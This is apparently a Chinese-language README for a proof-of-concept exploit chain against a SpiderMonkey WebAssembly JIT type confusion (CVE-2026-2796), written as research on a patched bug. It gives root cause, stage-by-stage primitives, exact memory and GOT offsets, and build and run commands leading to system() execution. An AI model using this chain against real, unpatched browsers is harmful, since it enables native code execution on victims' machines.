针对 CVE-2026-2796 的概念验证(PoC)利用链,该漏洞是 Mozilla SpiderMonkey 的 WebAssembly 导入优化(“JavaScript: WebAssembly”组件)中的 JIT 错误编译/类型混淆。精心构造的 wasm 模块可获得对整个宿主进程的任意读写以及任意原生代码执行能力,从而逃逸 WebAssembly 沙箱。
e2acef67(“Bug 2013165 - Fix import optimization”)当 wasm 模块导入 JS 函数时,SpiderMonkey 会在 MaybeOptimizeFunctionCallBind(js/src/wasm/WasmInstance.cpp)中应用一项优化,该优化会解包形如 Function.prototype.call.bind(fn) 的导入,并将 fn 直接存储为该导入的可调用对象。但它没有检查被绑定的值本身是否为 wasm 导出的函数:
+ if (boundThis.toObject().is<JSFunction>() &&
+ boundThis.toObject().as<JSFunction>().isWasm()) {
+ return nullptr;
+ }
由于缺少该检查,导入会被当作一个 原本就是 wasm 的函数处理:JS 包装器——连同其中的签名检查——被跳过。因此,wasm 函数可以通过与其真实类型不匹配的声明导入类型被调用。值在寄存器中原样传递;变化的只是它们的解释方式(例如,攻击者控制的 i64 被当作 (ref $t) GC 指针使用,反之亦然)。
| 文件 | 阶段 | 结果 |
|---|---|---|
poc-crash.js | 签名混淆 | i64.const 0xDEADBEEF 被当作 funcref 指针解引用 → 在 0xdeadbf2f 处 SIGSEGV |
poc-addrof.js | addrOf + fakeobj | 双向混淆(i64 ↔ (ref $t))→ 伪造 WasmArrayObject(numElements_ @+16,data_ @+24,内联元素 @+40)→ 进程中任意位置的任意读写 |
poc-recon.js | 布局侦察 | JSFunction 原生指针 @+0x20 → 泄露二进制基址;WasmFuncRef typeDef 指针 @+0x40 |
poc-forge.js | 控制流 | 伪造的 funcref 通过 call_ref 类型检查;调用目标从 [funcref+0x38] 加载 |
poc-rce.js | 代码执行 | 伪造的 funcref → 通过泄露的 system()(二进制基址 + GOT 条目 @ base+0x11d47b0)执行 system("touch /tmp/CVE-2026-2796-PWNED") |
混淆原语的获取方式与 Mozilla 自身的回归测试(js/src/jit-test/tests/wasm/regress/bug2013165.js)完全一致:将 Function.prototype.call.bind(wasmExport) 导入另一个模块(该模块的导入声明带有不同的签名),然后使用 ref.func + call_ref。
# Firefox source @ 2fbc0748c460b38fc95407a3f14c41d12fb12026 (2026-01-14,
# Firefox 148 nightly — predates the fix). Any pre-148 revision works.
cd js/src
../../configure --enable-debug --enable-optimize --without-intl-api \
--enable-project=js # objdir e.g. js/src/_obj
cd _obj && make -j8
# binary: dist/bin/js (reports "JavaScript-C149.0a1")
JS=/path/to/dist/bin/js
$JS poc/poc-crash.js # SIGSEGV at 0xdeadbf2f
$JS poc/poc-addrof.js # prints [+] arbitrary read OK / write OK
$JS poc/poc-recon.js # dumps JSFunction / WasmFuncRef memory
$JS poc/poc-forge.js # crashes with PC = planted canary
rm -f /tmp/CVE-2026-2796-PWNED
$JS poc/poc-rce.js # creates /tmp/CVE-2026-2796-PWNED via system()
在已修补的构建版本(Firefox ≥ 148)上,poc-crash.js 会转而抛出 TypeError: bad type——签名检查已恢复。
偏移量针对 macOS arm64(js shell,此确切的修订版本/构建标志):WasmArrayObject { +16 numElements、+24 data_、+40 内联数据 }、JSFunction 原生指针 @ +0x20、WasmFuncRef { +0x40 typeDef、+0x38 调用目标 }。这些偏移量已由 PoC 的自检在运行时实证验证;其他构建/架构需要重新推导(recon PoC 可自动化其中大部分工作)。arm64(非 arm64e)二进制没有 PAC;JIT 区域在调用时不可写,因此该利用链劫持现有调用目标而非注入代码。
第二阶段分析请参阅 docs/full-escape.md:通过 CVE-2026-2768(Bug 2014101,父进程 IndexedDB 越界写)从渲染器代码执行逃逸操作系统沙箱——这是完整 Firefox 攻陷中的“第二个漏洞”。此处使用的存在漏洞代码树同样早于该修复。
此 PoC 逃逸的是 wasm 引擎沙箱(线性内存 / GC 隔离),并实现当前进程内的原生代码执行。在真实的浏览器攻击中,这将落在 Firefox 内容进程内部;逃逸操作系统沙箱(“第二个漏洞”:IPC 混淆或内核漏洞利用)是另一个独立问题,不属于本 PoC 的范围。
javascript.options.wasm=false 可阻断触发向量。仅供安全研究、教育和防御性测试使用。该漏洞已在当前的 Firefox/Thunderbird 版本中修复。请勿将其用于您不拥有或未获得明确授权测试的系统。